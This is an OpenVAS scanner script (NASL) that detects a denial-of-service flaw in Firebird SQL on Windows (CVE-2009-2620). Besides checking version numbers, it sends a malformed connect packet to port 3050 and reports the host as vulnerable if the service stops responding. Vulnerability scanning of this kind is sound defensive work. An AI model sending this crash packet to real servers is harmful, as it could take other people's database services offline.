###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_firebird_dos_vuln_win.nasl 3736 2009-08-06 18:17:17Z aug $
#
# Firebird SQL 'op_connect_request' Denial Of Service Vulnerability (Win)
#
# Authors:
# Sharath S <sharaths@secpod.com>
#
# Copyright:
# Copyright (c) 2009 Intevation GmbH, http://www.intevation.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

if(description)
{
  script_id(800852);
  script_version("$Revision: 1.0 $");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"risk_factor", value:"Medium");
  script_cve_id("CVE-2009-2620");
  script_bugtraq_id(35842);
  script_name("Firebird SQL 'op_connect_request' Denial Of Service Vulnerability (Win)");
  desc = "

  Overview: The host is running Firebird and is prone to Denial of Service
  Vulnerability.

  Vulnerability Insight:
  The flaw is caused due to error in the 'rc/remote/server.cpp' in fbserver.exe.
  It fails to sanitise the input sent via a malformed op_connect_request
  message that triggers an infinite loop or NULL pointer dereference.

  Impact:
  Successful exploitation will let the attackers to cause Denial of Service in
  the affected application.

  Impact Level: Application

  Affected Software/OS:
  Firebird SQL version 1.5 before 1.5.6, 2.0 before 2.0.6, 2.1 before 2.1.3,
                   and 2.5 before 2.5 Beta 2 on Windows.

  Fix: Upgrade to version 1.5.6, 2.0.6, 2.1.3, or 2.5 Beta 2 or later
  http://www.firebirdsql.org/index.php?op=files

  References:
  http://tracker.firebirdsql.org/browse/CORE-2563
  http://www.coresecurity.com/content/firebird-sql-dos

  CVSS Score:
    CVSS Base Score     : 5.0 (AV:N/AC:L/Au:NR/C:N/I:N/A:P)
    CVSS Temporal Score : 3.9
  Risk factor: Medium";

  script_description(desc);
  script_summary("Check for the version of Firebird");
  script_category(ACT_MIXED_ATTACK);
  script_copyright("Copyright (C) 2009 Intevation GmbH");
  script_family("Denial of Service");
  script_dependencies("find_service.nes", "gb_firebird_detect_win.nasl");
  script_require_keys("Firebird-SQL/Ver");
  script_require_ports(3050);
  exit(0);
}


include("http_func.inc");
include("version_func.inc");

firebird_port = 3050;

if(!get_port_state(firebird_port)){
  exit(0);
}

if(!safe_checks())
{
  firebird_soc = http_open_socket(firebird_port);
  if(firebird_soc)
  {
    packet = raw_string(0x00, 0x00, 0x00, 0x35);
    packet += crap(data:"A", length:12);

    send(socket:firebird_soc, data:string(packet));
    close(firebird_soc);
    sleep(10);

    firebird_soc2 = http_open_socket(firebird_port);
    if(!firebird_soc2){
      security_warning(firebird_port);
      exit(0);
    }
   close(firebird_soc2);
  }
}

ver = get_kb_item("Firebird-SQL/Ver");

if(!isnull(ver))
{
  # Grep for version 1.5 < 1.5.6, 2.0 < 2.0.6, 2.1 < 2.1.3, 2.5 < 2.5 Beta 2
  if(version_in_range(version:ver, test_version:"1.5", test_version2:"1.5.5.4926") ||
     version_in_range(version:ver, test_version:"2.0", test_version2:"2.0.5.13206")||
     version_in_range(version:ver, test_version:"2.1", test_version2:"2.1.2.18118")||
     version_in_range(version:ver, test_version:"2.5", test_version2:"2.5.0.23247")){
     security_warning(firebird_port);
  }
}
